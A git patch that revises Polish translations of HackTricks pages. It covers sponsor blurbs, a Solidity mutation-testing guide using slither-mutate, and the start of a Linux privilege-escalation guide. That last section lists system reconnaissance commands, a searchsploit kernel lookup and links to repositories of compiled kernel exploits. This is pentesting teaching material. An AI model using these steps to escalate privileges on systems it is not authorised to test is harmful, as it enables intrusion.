From 389b3c8be2debbb3833289af322fb45fda5213c2 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 12:16:04 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/ruby-tri --- src/README.md | 89 +-- src/SUMMARY.md | 2 +- .../mutation-testing-with-slither.md | 98 +-- .../privilege-escalation/README.md | 573 +++++++++--------- .../socket-command-injection.md | 26 +- ...ry-untrusted-search-path-cve-2025-41244.md | 115 ++-- .../pentesting-web/ruby-tricks.md | 128 +++- .../pentesting-web/vmware-esx-vcenter....md | 4 +- src/pentesting-web/file-inclusion/README.md | 276 ++++----- src/pentesting-web/race-condition.md | 155 ++--- src/welcome/hacktricks-values-and-faq.md | 102 ++-- theme/ai.js | 1 + theme/ht_searcher.js | 9 +- 13 files changed, 837 insertions(+), 741 deletions(-) diff --git a/src/README.md b/src/README.md index a219fb934..036648cd6 100644 --- a/src/README.md +++ b/src/README.md @@ -2,7 +2,7 @@
-_Hacktricks logo i motion design autorstwa_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ +_Logotypy i projekt animacji HackTricks autorstwa_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ ### Uruchom HackTricks lokalnie ```bash @@ -31,19 +31,19 @@ export LANG="master" # Leave master for english # Run the docker container indicating the path to the hacktricks folder docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0" ``` -Twoja lokalna kopia HackTricks będzie **dostępna pod [http://localhost:3337](http://localhost:3337)** po mniej niż 5 minut (musi zbudować książkę, bądź cierpliwy). +Twoja lokalna kopia HackTricks będzie **dostępna pod [http://localhost:3337](http://localhost:3337)** po <5 minutach (musi zbudować książkę, proszę o cierpliwość). -## Sponsorzy korporacyjni +## Corporate Sponsors ### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cyberbezpieczeństwem, której slogan to **HACK THE UNHACKABLE**. Prowadzą własne badania i rozwijają własne narzędzia do hackowania, aby **oferować wiele wartościowych usług związanych z cyberbezpieczeństwem** takich jak pentesting, Red teams i szkolenia. +[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cybersecurity, której slogan to **HACK THE UNHACKABLE**. Prowadzą własne badania i rozwijają własne narzędzia hackingowe, aby **oferować kilka wartościowych usług z zakresu bezpieczeństwa** takich jak pentesting, Red teams i training. Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** wspiera również projekty open source związane z cyberbezpieczeństwem, takie jak HackTricks :) +**STM Cyber** również wspiera open source'owe projekty związane z cybersecurity, takie jak HackTricks :) --- @@ -51,7 +51,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
-[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najistotniejszych w **Europie**. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa ze wszystkich dyscyplin. +[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cybersecurity w **Hiszpanii** i jedno z najistotniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cybersecurity we wszystkich dyscyplinach. {{#ref}} https://www.rootedcon.com/ @@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti** to europejska platforma nr 1 w zakresie ethical hacking i **bug bounty platform.** +**Intigriti** to **Europe's #1** ethical hacking and bug bounty platform. -**Bug bounty tip**: **zarejestruj się** na **Intigriti**, premium **bug bounty platform created by hackers, for hackers**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**! +**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać bounty do **$100,000**! {{#ref}} https://go.intigriti.com/hacktricks @@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
\ -Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować workflowy** napędzane przez najbardziej **zaawansowane** narzędzia społecznościowe na świecie. +Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby w prosty sposób budować i **automate workflows** zasilane przez najbardziej **zaawansowane** community tools na świecie. Uzyskaj dostęp już dziś: @@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server, aby komunikować się z doświadczonymi hackerami i łowcami bug bounty! +Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i bug bounty hunters! -- **Wglądy dotyczące hackingu:** Angażuj się w treści zgłębiające emocje i wyzwania hackingowe -- **Wiadomości o hackingu w czasie rzeczywistym:** Bądź na bieżąco z szybkim tempem świata hackingu dzięki wiadomościom i analizom w czasie rzeczywistym -- **Najnowsze ogłoszenia:** Informacje o najnowszych uruchamianych bug bounty i kluczowych aktualizacjach platformy +- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking +- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights +- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! +**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z topowymi hackerami już dziś! --- @@ -106,9 +106,9 @@ Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ser
-**Zyskaj perspektywę hackera na swoje aplikacje webowe, sieć i chmurę** +**Zdobądź perspektywę hackera na swoje web apps, sieć i chmurę** -**Znajdź i zgłoś krytyczne, eksploatowalne podatności mające realny wpływ na biznes.** Użyj naszych 20+ dedykowanych narzędzi do mapowania powierzchni ataku, znajdowania problemów bezpieczeństwa umożliwiających eskalację uprawnień oraz używania zautomatyzowanych exploitów do zebrania kluczowych dowodów, przekształcając twoją pracę w przekonujące raporty. +**Znajdź i zgłoś krytyczne, eksploatowalne podatności z rzeczywistym wpływem na biznes.** Użyj naszych 20+ narzędzi niestandardowych, aby zmapować attack surface, znaleźć problemy bezpieczeństwa umożliwiające eskalację uprawnień i użyć zautomatyzowanych exploitów do zebrania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. {{#ref}} https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** oferuje szybkie i proste API w czasie rzeczywistym do **dostępu do wyników wyszukiwarek**. Zeskrobują wyszukiwarki, obsługują proxy, rozwiązują captche i parsują wszystkie bogate, ustrukturyzowane dane za Ciebie. +**SerpApi** oferuje szybkie i proste API w czasie rzeczywistym do **dostępu do wyników wyszukiwarek**. Scrape'ują search engines, obsługują proxies, rozwiązują captche i parsują wszystkie bogate, zstrukturane dane za Ciebie. -Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do zeskrobywania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\ -W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się jedynie do zeskrobywania wyników organicznych**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, osadzone obrazy i wideo, knowledge graphy oraz inne elementy i funkcje obecne w wynikach wyszukiwania. +Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do scrapowania różnych search engines, w tym Google, Bing, Baidu, Yahoo, Yandex i więcej.\ +W przeciwieństwie do innych dostawców, **SerpApi nie tylko scrape'uje organiczne wyniki**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, inline images i videos, knowledge graphs oraz inne elementy i funkcje obecne w wynikach wyszukiwania. -Obecni klienci SerpApi to **Apple, Shopify i GrubHub**.\ -Więcej informacji znajdziesz na ich [**blogu**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**playground**](https://serpapi.com/playground)**.**\ -Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign_up)**.** +Obecni klienci SerpApi to m.in. **Apple, Shopify oraz GrubHub**.\ +Po więcej informacji sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**playground**](https://serpapi.com/playground)**.**\ +Możesz **utworzyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign_up)**.** --- @@ -135,7 +135,7 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign_
-Poznaj technologie i umiejętności niezbędne do prowadzenia researchu podatności, penetration testing i reverse engineeringu, aby chronić aplikacje mobilne i urządzenia. **Opanuj bezpieczeństwo iOS i Android** dzięki naszym kursom on‑demand i **uzyskaj certyfikat**: +Naucz się technologii i umiejętności wymaganych do prowadzenia vulnerability research, penetration testing i reverse engineering, aby chronić aplikacje mobilne i urządzenia. **Opanuj iOS i Android security** poprzez nasze kursy on-demand i **uzyskaj certyfikat**: {{#ref}} https://academy.8ksec.io/ @@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami, dostarczając **offensive-security services** z **nowoczesnym** podejściem. +[**WebSec**](https://websec.net) to profesjonalna firma cybersecurity z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami, dostarczając **offensive-security services** z **nowoczesnym** podejściem. -WebSec to międzynarodowa firma security z biurami w Amsterdamie i Wyoming. Oferują **usługi all-in-one**, co oznacza, że robią wszystko: Pentesting, **Security** Audyty, szkolenia świadomościowe, kampanie phishingowe, Code Review, rozwój exploitów, outsourcing ekspertów ds. bezpieczeństwa i wiele więcej. +WebSec to międzynarodowa firma security z biurami w Amsterdamie i Wyoming. Oferują **usługi all-in-one**, co oznacza, że robią wszystko; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing i wiele więcej. -Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej rynkowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak napisano na ich stronie "**If we can't hack it, You don't pay it!**". Po więcej informacji zajrzyj na ich [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)! +Kolejną fajną rzeczą o WebSec jest to, że w odróżnieniu od średniej w branży WebSec **bardzo wierzy w swoje umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki**, jak podają na swojej stronie "**If we can't hack it, You don't pay it!**". Po więcej info zajrzyj na ich [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)! -Ponadto WebSec jest również **zaangażowanym sponsorem HackTricks.** +Dodatkowo WebSec jest również **zaangażowanym sponsorem HackTricks.** {{#ref}} https://www.youtube.com/watch?v=Zq2JycGDCPM @@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
venacus logo
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) to wyszukiwarka naruszeń danych (leak). \ -Oferujemy wyszukiwanie losowych ciągów (jak google) we wszystkich rodzajach data leaks, dużych i małych -- nie tylko tych największych -- na danych z wielu źródeł. \ -Wyszukiwanie osób, wyszukiwanie AI, wyszukiwanie organizacji, dostęp API (OpenAPI), integracja theHarvester, wszystkie funkcje, których potrzebuje pentester.\ -**HackTricks wciąż pozostaje świetną platformą edukacyjną dla nas wszystkich i jesteśmy dumni, że ją sponsorujemy!** +[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) to wyszukiwarka data breach (leak). \ +Udostępniamy wyszukiwanie losowych stringów (jak google) we wszystkich typach data leaks —dużych i małych— nie tylko tych największych— na danych z wielu źródeł. \ +Wyszukiwanie osób, wyszukiwanie AI, wyszukiwanie organizacji, API (OpenAPI) access, theHarvester integration, wszystkie funkcje, których potrzebuje pentester.\ +**HackTricks nadal jest świetną platformą do nauki dla nas wszystkich i jesteśmy dumni, że ją sponsorujemy!** {{#ref}} https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -182,12 +182,15 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons **Built for the field. Built around you.**\ -[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) tworzy i dostarcza efektywne szkolenia z cyberbezpieczeństwa budowane i prowadzone przez ekspertów z branży. Ich programy wykraczają poza teorię, wyposażając zespoły w dogłębną wiedzę i praktyczne umiejętności, korzystając z niestandardowych środowisk odzwierciedlających rzeczywiste zagrożenia. W sprawach szkoleń niestandardowych skontaktuj się z nami [**tutaj**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). +[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) tworzy i dostarcza efektywne szkolenia z zakresu cybersecurity prowadzone przez +ekspertów z branży. Ich programy wykraczają poza teorię, wyposażając zespoły w dogłębną +wiedzę i praktyczne umiejętności, używając niestandardowych środowisk odzwierciedlających realne +zagrożenia. W sprawach dotyczących dedykowanych szkoleń skontaktuj się z nami [**tutaj**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). **Co wyróżnia ich szkolenia:** -* Treść i laboratoria tworzone na zamówienie -* Wsparcie przez narzędzia i platformy najwyższej klasy -* Projektowane i prowadzone przez praktyków +* Custom-built content and labs +* Backed by top-tier tools and platforms +* Designed and taught by practitioners {{#ref}} https://cyberhelmets.com/courses/?ref=hacktricks @@ -199,13 +202,17 @@ https://cyberhelmets.com/courses/?ref=hacktricks
lasttower logo
-Last Tower Solutions dostarcza wyspecjalizowane usługi cyberbezpieczeństwa dla instytucji edukacyjnych i FinTech, z naciskiem na **penetration testing, oceny bezpieczeństwa chmury** oraz **przygotowanie do zgodności** (SOC 2, PCI-DSS, NIST). Nasz zespół obejmuje profesjonalistów z certyfikatami **OSCP i CISSP**, dostarczając głęboką wiedzę techniczną i wgląd zgodny ze standardami branżowymi w każdym zaangażowaniu. +Last Tower Solutions dostarcza wyspecjalizowane usługi cybersecurity dla instytucji z sektora **Edukacji** i **FinTech**, skupiając się na **penetration testing, cloud security assessments**, oraz +**compliance readiness** (SOC 2, PCI-DSS, NIST). Nasz zespół obejmuje profesjonalistów z certyfikatami **OSCP i CISSP**, wnosząc głęboką wiedzę techniczną i branżowe doświadczenie do +każdego zlecenia. -Wykraczamy poza automatyczne skany dzięki **ręcznym, opartym na wywiadzie testom**, dostosowanym do środowisk o wysokim ryzyku. Od zabezpieczania danych studentów po ochronę transakcji finansowych, pomagamy organizacjom chronić to, co najważniejsze. +Wykraczamy poza automatyczne skany, oferując **manualne, intelligence-driven testing** dostosowane do +środowisk o wysokim ryzyku. Od zabezpieczania rekordów studentów po ochronę transakcji finansowych, +pomagamy organizacjom bronić tego, co najważniejsze. -_„Jako obrona wymaga znajomości ofensywy, dostarczamy bezpieczeństwo poprzez zrozumienie.”_ +_„A quality defense requires knowing the offense, we provide security through understanding.”_ -Bądź na bieżąco z najnowszymi informacjami z zakresu cyberbezpieczeństwa, odwiedzając ich [**blog**](https://www.lasttowersolutions.com/blog). +Bądź na bieżąco z najnowszymi informacjami ze świata cybersecurity odwiedzając nasz [**blog**](https://www.lasttowersolutions.com/blog). {{#ref}} https://www.lasttowersolutions.com/ @@ -215,9 +222,9 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
-K8Studio IDE umożliwia DevOps, DevSecOps i deweloperom zarządzanie, monitorowanie i zabezpieczanie klastrów Kubernetes w efektywny sposób. Wykorzystaj nasze AI-driven wnioski, zaawansowany framework bezpieczeństwa i intuicyjne CloudMaps GUI, aby wizualizować swoje klastry, rozumieć ich stan i działać z pewnością. +K8Studio IDE umożliwia DevOps, DevSecOps i developerom zarządzanie, monitorowanie i zabezpieczanie klastrów Kubernetes efektywnie. Wykorzystaj nasze AI-driven insights, zaawansowany security framework oraz intuicyjne CloudMaps GUI, aby wizualizować swoje klastry, rozumieć ich stan i działać z pewnością. Co więcej, K8Studio jest **kompatybilne ze wszystkimi głównymi dystrybucjami kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift i inne). diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6d276923d..561fe52fb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -950,4 +950,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file +- [Cookies Policy](todo/cookies-policy.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 32656f5dc..0ad1969a0 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -Mutation testing "tests your tests" poprzez systematyczne wprowadzanie małych zmian (mutantów) w Twoim kodzie Solidity i ponowne uruchamianie zestawu testów. Jeśli test zawiedzie, mutant zostaje zabity. Jeśli testy nadal przejdą, mutant przetrwa, ujawniając ślepą plamę w Twoim zestawie testów, której pokrycie linii/gałęzi nie wykryje. +Mutation testing "tests your tests" przez systematyczne wprowadzanie małych zmian (mutantów) w kodzie Solidity i ponowne uruchamianie zestawu testów. Jeśli test się nie powiedzie, mutant zostaje zabity. Jeśli testy nadal przejdą, mutant przetrwa, ujawniając ślepy punkt w Twoim zestawie testów, którego pokrycie linii/gałęzi nie wykryje. -Key idea: Pokrycie pokazuje, że kod został wykonany; testowanie mutacyjne pokazuje, czy zachowanie zostało faktycznie zweryfikowane. +Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted. ## Dlaczego pokrycie może wprowadzać w błąd -Rozważ to proste sprawdzenie progu: +Rozważ ten prosty warunek progowy: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,96 +18,96 @@ return false; } } ``` -Testy jednostkowe, które sprawdzają tylko wartość poniżej i wartość powyżej progu, mogą osiągnąć 100% pokrycia linii/gałęzi, jednocześnie nie asercjonując granicy równości (==). Refaktoryzacja do `deposit >= 2 ether` nadal przejdzie takie testy, cicho łamiąc logikę protokołu. +Testy jednostkowe, które sprawdzają tylko wartość poniżej i wartość powyżej progu, mogą osiągnąć 100% pokrycia linii/gałęzi, jednocześnie nie asercjonując granicy równości (==). Refaktoryzacja do `deposit >= 2 ether` nadal zaliczyłaby takie testy, cicho łamiąc logikę protokołu. -Mutation testing ujawnia tę lukę przez mutowanie warunku i weryfikowanie, że testy nie przechodzą. +Mutation testing ujawnia tę lukę przez zmodyfikowanie warunku i weryfikację, że Twoje testy nie przechodzą. -## Typowe operatory mutacji w Solidity +## Common Solidity mutation operators -Silnik mutacji Slither stosuje wiele drobnych edycji zmieniających semantykę, takich jak: +Slither’s mutation engine applies many small, semantics-changing edits, such as: - Zamiana operatorów: `+` ↔ `-`, `*` ↔ `/`, itd. -- Zamiana przypisania: `+=` → `=`, `-=` → `=` -- Zamiana stałych: wartość niezerowa → `0`, `true` ↔ `false` +- Zamiana przypisań: `+=` → `=`, `-=` → `=` +- Zamiana stałych: wartość różna od zera → `0`, `true` ↔ `false` - Negacja/zamiana warunku wewnątrz `if`/pętli - Zakomentowanie całych linii (CR: Comment Replacement) -- Zastąpienie linii wywołaniem `revert()` -- Zamiana typów danych: np. `int128` → `int64` +- Zamiana linii na `revert()` +- Zamiany typów danych: np. `int128` → `int64` -Cel: Wyeliminować 100% wygenerowanych mutantów lub uzasadnić przeżycie poszczególnych mutantów jasnym wyjaśnieniem. +Cel: Zabić 100% wygenerowanych mutantów, albo uzasadnić przeżywających jasnym rozumowaniem. -## Uruchamianie mutation testing za pomocą slither-mutate +## Running mutation testing with slither-mutate -Wymagania: Slither v0.10.2+. +Requirements: Slither v0.10.2+. - Wyświetl opcje i mutatory: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Przykład Foundry (zapisz wyniki i zachowaj pełny log): +- Foundry — przykład (przechwyć wyniki i zachowaj pełny log): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` -- Jeśli nie używasz Foundry, zastąp `--test-cmd` sposobem uruchamiania testów (np. `npx hardhat test`, `npm test`). +- Jeśli nie używasz Foundry, zamień `--test-cmd` na sposób uruchamiania testów (np. `npx hardhat test`, `npm test`). -Artyfakty i raporty są domyślnie zapisywane w `./mutation_campaign`. Mutanty, które nie zostały wykryte (przetrwałe), są tam kopiowane do inspekcji. +Artefakty i raporty są domyślnie zapisywane w `./mutation_campaign`. Nieuchwycone (przetrwałe) mutanty są tam kopiowane do inspekcji. -### Zrozumienie wyników +### Understanding the output Wiersze raportu wyglądają tak: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- The tag in brackets is the mutator alias (e.g., `CR` = Comment Replacement). -- `UNCAUGHT` means tests passed under the mutated behavior → missing assertion. +- Tag w nawiasach to alias mutatora (np. `CR` = Comment Replacement). +- `UNCAUGHT` oznacza, że testy przeszły przy zmienionym zachowaniu → brak asercji. -## Reducing runtime: prioritize impactful mutants +## Redukcja czasu działania: priorytetyzuj mutacje o największym wpływie -Mutation campaigns can take hours or days. Tips to reduce cost: -- Scope: Start with critical contracts/directories only, then expand. -- Prioritize mutators: If a high-priority mutant on a line survives (e.g., entire line commented), you can skip lower-priority variants for that line. -- Parallelize tests if your runner allows it; cache dependencies/builds. -- Fail-fast: stop early when a change clearly demonstrates an assertion gap. +Kampanie mutacyjne mogą trwać godziny lub dni. Wskazówki, jak zmniejszyć koszty: +- Scope: Zacznij tylko od krytycznych kontraktów/katalogów, potem rozszerz. +- Priorytetyzuj mutatory: jeśli mutacja o wysokim priorytecie na danej linii przetrwa (np. cała linia skomentowana), możesz pominąć warianty o niższym priorytecie dla tej linii. +- Równoległe uruchamianie testów, jeśli twój runner na to pozwala; cache'uj zależności/kompilacje. +- Fail-fast: zatrzymaj wcześnie, gdy zmiana wyraźnie pokazuje lukę w asercjach. -## Triage workflow for surviving mutants +## Procedura triage dla przetrwałych mutantów -1) Inspect the mutated line and behavior. -- Reproduce locally by applying the mutated line and running a focused test. +1) Zbadaj zmodyfikowaną linię i zachowanie. +- Odtwórz lokalnie, wprowadzając zmienioną linię i uruchamiając ukierunkowany test. -2) Strengthen tests to assert state, not only return values. -- Add equality-boundary checks (e.g., test threshold `==`). -- Assert post-conditions: balances, total supply, authorization effects, and emitted events. +2) Wzmocnij testy tak, aby asercjonowały stan, nie tylko wartości zwracane. +- Dodaj testy graniczne równości (np. sprawdzenie progu `==`). +- Asercjonuj warunki post-funkcyjne: salda, całkowita podaż, efekty autoryzacji oraz emitowane zdarzenia. -3) Replace overly permissive mocks with realistic behavior. -- Ensure mocks enforce transfers, failure paths, and event emissions that occur on-chain. +3) Zastąp zbyt pobłażliwe mocki realistycznym zachowaniem. +- Upewnij się, że mocki wymuszają transfery, ścieżki błędów oraz emisję zdarzeń, które występują on-chain. -4) Add invariants for fuzz tests. -- E.g., conservation of value, non-negative balances, authorization invariants, monotonic supply where applicable. +4) Dodaj inwarianty do fuzz testów. +- Np. zachowanie wartości, salda nieujemne, inwarianty autoryzacji, monotoniczna podaż tam, gdzie ma zastosowanie. -5) Re-run slither-mutate until survivors are killed or explicitly justified. +5) Uruchom ponownie slither-mutate, aż przetrwałe mutanty zostaną wyeliminowane lub wyraźnie uzasadnione. -## Case study: revealing missing state assertions (Arkis protocol) +## Studium przypadku: ujawnienie brakujących asercji stanu (Arkis protocol) -A mutation campaign during an audit of the Arkis DeFi protocol surfaced survivors like: +Kampania mutacyjna podczas audytu Arkis DeFi protocol ujawniła przetrwałe mutanty takie jak: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -Zakomentowanie przypisania nie zepsuło testów, co dowodzi braku asercji stanu końcowego. Przyczyna: kod ufał kontrolowanej przez użytkownika wartości `_cmd.value` zamiast weryfikować rzeczywiste transfery tokenów. Atakujący mógłby wprowadzić niespójność między oczekiwanymi a faktycznymi transferami i wyprowadzić środki. Skutek: ryzyko wysokiej wagi dla wypłacalności protokołu. +Zakomentowanie przypisania nie złamało testów, co dowodzi braku asercji stanu po wykonaniu. Przyczyna źródłowa: kod ufał kontrolowanej przez użytkownika `_cmd.value` zamiast weryfikować rzeczywiste transfery tokenów. Atakujący mógłby wprowadzić rozbieżność między oczekiwanymi a rzeczywistymi transferami, aby wypompować środki. Skutek: wysokie ryzyko zagrażające wypłacalności protokołu. -Wskazówka: Traktuj przetrwałe mutanty, które wpływają na transfery wartości, księgowość lub kontrolę dostępu, jako wysokie ryzyko, dopóki nie zostaną wyeliminowane. +Guidance: Traktuj przetrwałe mutacje, które wpływają na transfery wartości, rozliczenia lub kontrolę dostępu, jako wysokiego ryzyka, dopóki nie zostaną usunięte. -## Practical checklist +## Praktyczna lista kontrolna -- Przeprowadź ukierunkowaną kampanię: +- Uruchom ukierunkowaną kampanię: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- Przeprowadź triage przetrwałych mutantów i napisz testy/inwarianty, które zawiodłyby przy zmienionym zachowaniu. -- Asercje sald, podaży, autoryzacji i zdarzeń. -- Dodaj testy graniczne (`==`, przepełnienia/underflow, adres zero, ilość zero, puste tablice). -- Zastąp nierealistyczne mocki; symuluj tryby awarii. -- Iteruj, aż wszystkie mutanty zostaną wyeliminowane lub udokumentowane komentarzami i uzasadnieniem. +- Przejrzyj przetrwałe mutacje i napisz testy/inwarianty, które zawiodłyby przy zmienionym zachowaniu. +- Sprawdź salda, podaż, autoryzacje i zdarzenia. +- Dodaj testy brzegowe (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). +- Zamień nierealistyczne mocki; symuluj scenariusze awarii. +- Iteruj, aż wszystkie mutanty zostaną zabite lub uzasadnione komentarzami i racjonalizacją. -## References +## Odniesienia - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/) - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index e9e570d7c..a9d4639d2 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informacje o systemie -### Informacje o systemie (OS) +### Informacje o systemie operacyjnym -Zacznijmy zbierać informacje o działającym systemie (OS). +Zacznijmy zdobywać informacje o działającym systemie. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Ścieżka -Jeśli masz **uprawnienia zapisu w dowolnym folderze znajdującym się w zmiennej `PATH`**, możesz być w stanie przejąć niektóre biblioteki lub pliki binarne: +Jeśli **masz uprawnienia do zapisu w dowolnym folderze w zmiennej `PATH`** możesz przejąć niektóre biblioteki lub binaria: ```bash echo $PATH ``` @@ -26,26 +26,26 @@ Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła ``` ### Kernel exploits -Sprawdź wersję kernela i czy istnieje jakiś exploit, który można użyć do escalate privileges +Sprawdź wersję kernel oraz czy istnieje exploit, który można użyć do escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Możesz znaleźć dobrą listę podatnych wersji jądra i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Możesz znaleźć dobrą listę podatnych jąder i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Inne strony, gdzie możesz znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), 